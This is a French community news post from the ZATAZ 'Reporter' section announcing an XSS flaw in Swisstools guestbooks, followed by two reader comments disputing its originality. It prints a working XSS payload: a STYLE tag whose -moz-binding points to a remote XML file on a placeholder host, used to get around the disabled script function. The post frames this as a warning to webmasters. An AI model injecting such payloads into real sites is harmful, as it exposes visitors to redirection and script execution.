Reporter

Faille sur http://www.swisstools.net


Publié le 19-04-2008 dans le thème Hacking

Source : http://sharky57.free.fr - Auteur : BEN TYRE

Bonjour,
je vous fais cette article pour vous annoncer une faille XSS sur Swisstools, cette faille a été trouvé par moi, Julien et NetShark..etant donné que sur les livres d'or sur swisstools la fonction script est désactivé, nous avons créé un fichier xml et inséré dedans une alert ou redirection en javascript ! Puis nous avons inséré ceci <STYLE>BODY{-moz-binding:url('http://lesite/lefichier.xml#xss')}</STYLE>
et nous avons pu constater que cela executer le fichier xml qui executer son code...
Je fais donc cet article pour prévenir tout les internaute et les webmasters de swisstools...

Lire la suite ...

 

Conseiller ce tutorial Conseiller cette news Réagir Réagir - 2 réaction(s) RSS Reporter ZATAZ

Derniers contenus

AxCrypt File Encryption

Chiffrer des documents, rapidement et gratuitement. AxCrypt 1.6.4.4 est fait pour vous.

Piége électronique sur le site de DJ Verano

Une des stars de la scène elecro, DJ Verano, se fait pirater son site Internet. Un virus serait passé par là.

Microsoft Business Intelligence 2008

Microsoft dévoile la prochaine génération de SQL Server et encourage les entreprises à exploiter davantage l’analyse décisionnelle.

Faux site Paypal France

Nouvelle tentative de fraude à destination des clients de Paypal France.

Les logiciels de chiffrement de Prim´X passent au 64BITS

La suite de chiffrement de l’éditeur est compatible avec les plates-formes 64 bits et Windows Server 2008.

Des livres en Or, un spammeur par omission

Vous en avez plein le dos des spams ? Vous avez laissé, en toute confiance, votre courriel sur le site Des livres en Or ? Dommage pour vous !

Donne chien contre bon pigeon

Arnaque sur la toile française. Des pirates offrent de faux chiens via de petites annonces.

Un ordinateur du MI5 disparait à Manchester

Après l'appareil photo numérique du Mi6 sur eBay. Voici le tour du Mi5 de se retrouver avec une machine dans la nature.

Vos réactions ( 2 )

 Ecrit par VieDeMerde le 19.04.2008 à 20h00 

#

ZATAZien


Inscrit le 19-04-2008

D'la daube, le Samedi 30 décembre 2006, à 22H18 un mec sous le pseudo de: .:[ UTB ]:. Diablo trouve une XSS sur Swisstools par la balise BODY messieurs de Zataz cette information et un FAKE !
et j'ai de quoi le prouvé

 Ecrit par Sharky57 le 20.04.2008 à 10h00 

#

ZATAZien


Inscrit le 20-04-2008

Ceci n'est pas un FAKE, j'ai fait un tuto sur la faille, go sur sharky57.free.fr partie tutoriaux wink.gif

Réagir

Vous devez vous identifier pour ajouter un commentaire.

Cliquer ici pour vous inscrire.

Publiez vos news

Reporter est un service "collaboratif" proposé par ZATAZ.

A la demande de très nombreux lecteurs qui souhaitaient participer au site, nous venons de mettre en place le service Reporter. Le principe est simple. Vous avez une actualité rigolote, décalée, pouvant aider et/ou informer les lecteurs, n'hésitez pas à proposer via cette option.

Proposer une news

Autres thèmes de Reporter

Thème

Rechercher dans les Reporter

Mots clés
  sur ZATAZ sur le web

Derniers communiqués de presse

Microsoft Business Intelligence 2008

Microsoft dévoile la prochaine génération de SQL Server et encourage les entreprises à exploiter davantage l’analyse décisionnelle.

Les logiciels de chiffrement de Prim´X passent au 64BITS

La suite de chiffrement de l’éditeur est compatible avec les plates-formes 64 bits et Windows Server 2008.

De la sécurité informatique à la cyberdéfense

Le Haut comité français pour la défense civile organise un colloque dédié à la sécurité informatique et à la cyberdéfense.

Liberty Alliance lance le forum de gestion de l’identité numérique francophone

Des représentants d’EIfEL, Entrouvert, France Telecom/Orange et Sun Microsystems annoncent le huitième groupe d’intérêt spécial mondial ouvert au public de Liberty.

Stars-buzz.com

DJ Verano rendu sourd sur Internet

Etrange affichage sur le site officiel du DJ Allemand Verano. Plusieurs lecteurs nous ont fait part que leur antivirus (NOD32, …) s’était déclenché en visitant le site du musicien. Nod32 parle d’un code malicieux qui tenterait d’installer un autre code plus dangereux encore dans l’ordinateur des internautes visiteurs. Depuis quelques heures, le site est fermé. La page Myspace de [...]

La tête de Mickey mise à prix

Un ecclésiastique égyptien a déclaré que les souris étaient “des agents de Satan” et devraient être exterminées. Mickey dans la ligne de mire ! Le Cheikh Mohammed al-Mounajid, un ecclésiastique égyptien, ancien diplomate, a déclaré que les souris étaient “des agents de Satan” et devraient être exterminées. Bilan, Walt Disney a rendu Mickey, la souris sympathique, il faut tuer Mickey [...]

Octobre: Calendrier Aubade

Il faut vivre avec son temps, et le temps, ça tombe bien, on aime quand celui-ci veut bien s’arrêter un peu. La page du mois d’octobre du calendrier Aubade va nous y aider. [Voir les autres mois ?]  

Luc Besson va faire danser Travolta

John Travolta va tourner un film pour la maison de production de Luc Besson, Europa Corp. Une production baptisée From Paris with love.Bilan, John va pouvoir rendre une petite visite à ses amis de la secte de Scientologie de Paris, il va tourner à Montfermeil en banlieue parisienne. John Travolta va interpreter le rôle phare [...]

Syndication RSS

nabaztag

  • http://www.wikio.fr
  • netvibes
  • NewsGator Online
  • Rojo
  • Bloglines
  • Google

ZATAZ mobile et PDA